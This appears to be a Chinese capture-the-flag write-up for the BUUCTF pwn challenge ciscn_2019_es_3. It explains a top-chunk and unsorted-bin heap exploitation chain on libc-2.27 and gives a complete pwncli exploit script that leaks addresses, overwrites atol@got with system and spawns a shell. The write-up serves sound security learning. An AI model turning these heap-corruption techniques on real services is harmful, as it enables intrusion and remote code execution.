[BUUCTF] ciscn_2019_es_3

目录

ciscn_2019_es_3

总结

题目没有提供free,基本能算是house of force+house of orange,但又不完全是。应该说主要还是围绕着top chunk进行利用,详细利用过程如下:

  • 利用strlen的漏洞,溢出修改top chunksize,需要滿足要求通过检查,之后会把top chunk释放到unsorted bin中。比如控制剩下的top chunksize0x1520,然后溢出修改为0x520
  • 申请一个大的chunk,把old top chunk释放到unsorted bin
  • 修改unsorted bin chunksize为更大的值,比如修改为0x2000
  • 然后申请0x2000-0x10用户大小,就会把伪造的unsorted bin chunk返回给用户,这个chunk可以修改到新的top chunksize
  • 本来这里想直接用house of force,因为可以泄露出heap的地址。但是由于在read_int中有校验,输入不能为负数,所以就不能使用。因此,这里继续上述步骤造出一个新的unsorted bin chunk
  • 接下来利用edit来溢出修改新的unsorted bin chunkbk,使得chunklist[0]被写为main_arena+96。这个地址存储着top chunk的指针。
  • 利用edit(0)编辑top chunk的指针,指向bss段,这里注意一下,还要修复unsorted bin链表
  • 直接分配到chunklist,利用editatol@got的内容写为system即可

checksec

环境为libc-2.27

[BUUCTF] ciscn_2019_es_3

漏洞点

edit分支中,修改完后chunksize的更新使用的是strlen,存在溢出修改chunk size的机会:

[BUUCTF] ciscn_2019_es_3

EXP

打远程的时候,发送超过0x1000个字符就挂了,不知道为啥。

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def read_name(name):
    p.sendafter("name :", name)

def add(size, data="deadbeef"):
    p.sendlineafter("Your choice :", "1")
    p.sendlineafter("Size of page :", str(size))
    p.sendafter("Content :", data)


def show(idx):
    p.sendlineafter("Your choice :", "2")
    p.sendlineafter("Index of page :", str(idx))
    p.recvline_contains("Content :")
    m = p.recvline(0)
    info(f"Get info: {m}")
    return m

def edit(idx, data):
    p.sendlineafter("Your choice :", "3")
    p.sendlineafter("Index of page :", str(idx))
    p.sendafter("Content:", data)


def name_info(name="", choose=1):
    p.sendlineafter("Your choice :", "4")
    m = p.recvline_startswith("name : ")
    info(f"Get info: {m}")
    p.sendlineafter("Do you want to change the name? (yes:1 / no:0) ", str(choose))
    if choose:
        read_name(name)
    return m

# helpful to leak heap
read_name("a"*0x40)

add(0x1e770)

# get heap base
m = name_info(choose=0)
heap_base = u64_ex(m[0x47:]) - 0x260
log_heap_base_addr(heap_base)

add(0xf8)
edit(1, "a"*0xf8)
edit(1, b"a"*0xf8+p16(0x521))

# free old top chunk
add(0x600)

edit(1, b"a"*0xf8+p16(0x2001))

# clear unsortedbin list and change new top chunk's size
add(0x2000-0x10, flat({0x1b28:0x9f1})) # 3 

# get a new unsorted bin chunk
add(0x1000)

# unsorted bin attack
edit(3, flat({0x1b28:[0x9f1, 0, 0x602100-0x10]}))

add(0x9e0)

# leak libc addr 
m = name_info(flat(0, 0x20ff1))
libc_base = u64_ex(m[0x47:]) - 0x3ebca0
log_libc_base_addr(libc_base)
libc.address = libc_base

# change top-chunk ptr and repair the broken unsorted bin list
edit(0, flat([0x6020c0, 0, libc_base + 0x3ebca0, libc_base + 0x3ebca0]))

# change ptr--->atol@got
add(0x60, flat({0x30:[[elf.got.atol]*4]}))

# change atol@got to system
edit(1, p64(libc.sym.system))

# get shell
p.sendline("/bin/sh")

# get flag
get_flag_when_get_shell(p)

p.interactive()

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

上一篇:ciscn_2019_s_6(uaf)


下一篇:[BUUCTF] ciscn_2019_ne_3